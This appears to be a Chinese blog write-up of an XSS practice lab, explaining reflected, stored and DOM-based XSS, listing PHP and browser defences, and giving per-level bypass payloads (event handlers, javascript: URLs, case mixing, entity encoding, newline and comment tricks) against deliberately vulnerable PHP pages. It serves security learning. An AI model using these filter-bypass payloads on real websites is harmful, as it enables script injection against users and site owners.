摘要:过滤空格空格使用绕过标签定义嵌入的内容,使用事件即可不会大佬博客
三种类型:存储型、反射型、dom型
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库
DOM型:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom – xss是通过url传入参数去控制触发的。
dom型
XSS危害
XSS可以造成的危害有很多,常见的有以下:
XSS修复
A.PHP直接输出html的,可以采用以下的方法进行过滤: 1.htmlspecialchars函数 2.htmlentities函数 3.HTMLPurifier.auto.php插件 4.RemoveXss函数B.PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤: 1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容 2.必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤C.其它的通用的补充性防御手段 1.在输出html时,加上Content Security Policy的Http Header (作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等) (缺陷:IE或低版本的浏览器可能不支持) 2.在设置Cookie时,加上HttpOnly参数 (作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6) (缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全) 3.在开发API时,检验请求的Referer参数 (作用:可以在一定程度上防止CSRF攻击) (缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)
示例代码htmlentities.php
$XssReflex = $_GET["input"];echo "output:
".htmlspecialchars($XssReflex);?>
源码
ini_set("display_errors", 0);$str = $_GET["name"];echo "欢迎用户"
.$str."";?><center><img src=level1.png></center><?php echo "payload的长度:"
.strlen($str)."";?>
leval1没有任何过滤
<svg/onload=alert`1`><svg/onclick=alert`1`>其他事件onload,onclick,onerror,prompt,confirm等。
源码
使用了htmlspecialchars函数对输入进行了处理,但是有两个输入点,下面那个并没有做处理
# htmlspecialchars作用 &:转换为& ":转换为" ":转换为成为 " <:转换为< >:转换为>
payload
" onclick=alert(1)> #需要点一下输入框-点击事件" onmouseover=alert(1)> #鼠标滑过输入框-鼠标事件"><script>alert(/xss/)</script>
两个输出点都使用htmlspecialchars进行处理,但是
所以使用单引号闭合(不使用<>)即可,payload
" οnclick="window.alert()" onclick=alert(1)%0A" onclick=alert(1)//
这里可以%0a换行,也可以使用//注释后面的
第二个位置没有使用函数处理,第三关payload改一下就行
" οnclick="alert`4`" onclick=alert(1)%0A" onclick=alert(1)//
存在过滤,不能使用含有on的事件,payload
"><a href=javascript:alert()>link</a> # Javascript URL"><a href=vbscript:MsgBox(1)>link</a> # VBScript"><iframe src=javascript:alert(1)></iframe># 如果过滤了javascript还可以用"%2b"绕过">%2b"cript:alert()>link</a>
过滤了更多,大小写绕过即可,payload
"><a Href=javascript:alert(1)>link</a>"><iMg SrC=1 oNeRrOr=prompt(1)> " OnMoUsEoVeR=prompt(1)//
payload
" oonnclick="alert`4`
伪协议后面可以使用html的实体编码,javascript:
这个伪协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
关于伪协议可以参考XSS_伪协议与编码绕过
在线转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
payload
javascript:alert(1)javascript:alert(1)javascript:alert(1)
必须含有http://
,使用注释符//
、/**/
绕过
javascript:alert(1)//http://javascript:alert(1)/*http://*/
构造type="text
闭合最后的" type="hidden">
,payload:
t_sort=" οnclick="alert()" type="text
和上一题一样,只不过在referer里
这个漏洞的原因就是使用了chrome的exif信息读取插件,读取了然后插入页面,使用exiftool工具改信息即可。
空格使用%0d绕过
payload
level16.php?keyword=<img%0Asrc=x%0Aonerror=alert(""test"")>
标签定义嵌入的内容,使用on事件即可
payload
arg01=a&arg02=b onmouseover=alert(1)
不会
https://blog.csdn.net/spang_33/article/details/80930046
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/121594.html
摘要:学习机器学习已经有段时间了,心里一直在寻思着如何将其运用在安全上,前几天刚好看到兜哥的那篇文章,于是花了两天时间实现了一个简单的基于的过滤器,这里做一个比较接地气的分享。 学习机器学习已经有段时间了,心里一直在寻思着如何将其运用在安全上,前几天刚好看到兜哥的那篇文章,于是花了两天时间实现了一个简单的基于svm的xss过滤器,这里做一个比较接地气的分享。 1.概念理解 首先还是科普一些基...
摘要:我将使用作为此次学习的攻击者机器。网络钓鱼攻击的兴起对所有组织都构成了重大威胁。重要的是,如果他们要保护自己的信息,所有组织都应该知道如何发现一些最常见的网络钓鱼骗局。 ...
摘要:使自己脚本在网站运行,造成一些列的危险后果。之前说的反射型和存储型的主要区别在于,存储型的执行脚本会存储在数据库,长期有效。而只是对信息做了验证,并不能阻止的漏洞。机制和昨天说的反射型一模一样。 本文由甲爪cpa联盟(www.jiazhua.com)整理编辑!转载请注明!环境是PHPWAMP,firefox(火狐没有xss过滤器)。环境和dvwa如果下载不方便可以评论留邮箱,看到会分享...
摘要:要钱的简单理解百度的广告就是不用钱的自己配置提高搜索引擎的权重是一种技术,主要是用于提高网站浏览量而做的优化手段为什么需要我们搜一下微信公众号发现排名是有先后的,博客园都是靠前的。 CDN 什么是CDN 初学Web开发的时候,多多少少都会听过这个名词->CDN。 CDN在我没接触之前,它给我的印象是用来优化网络请求的,我第一次用到CDN的时候是在找JS文件时。当时找不到相对应的JS文件...
阅读 2685·2021-11-24 09:39
阅读 989·2021-11-02 14:38
阅读 1290·2021-09-30 09:46
阅读 3810·2021-09-10 11:26
阅读 2592·2021-08-25 09:40
阅读 2147·2019-08-30 15:54
阅读 357·2019-08-30 10:56
阅读 1135·2019-08-27 11:07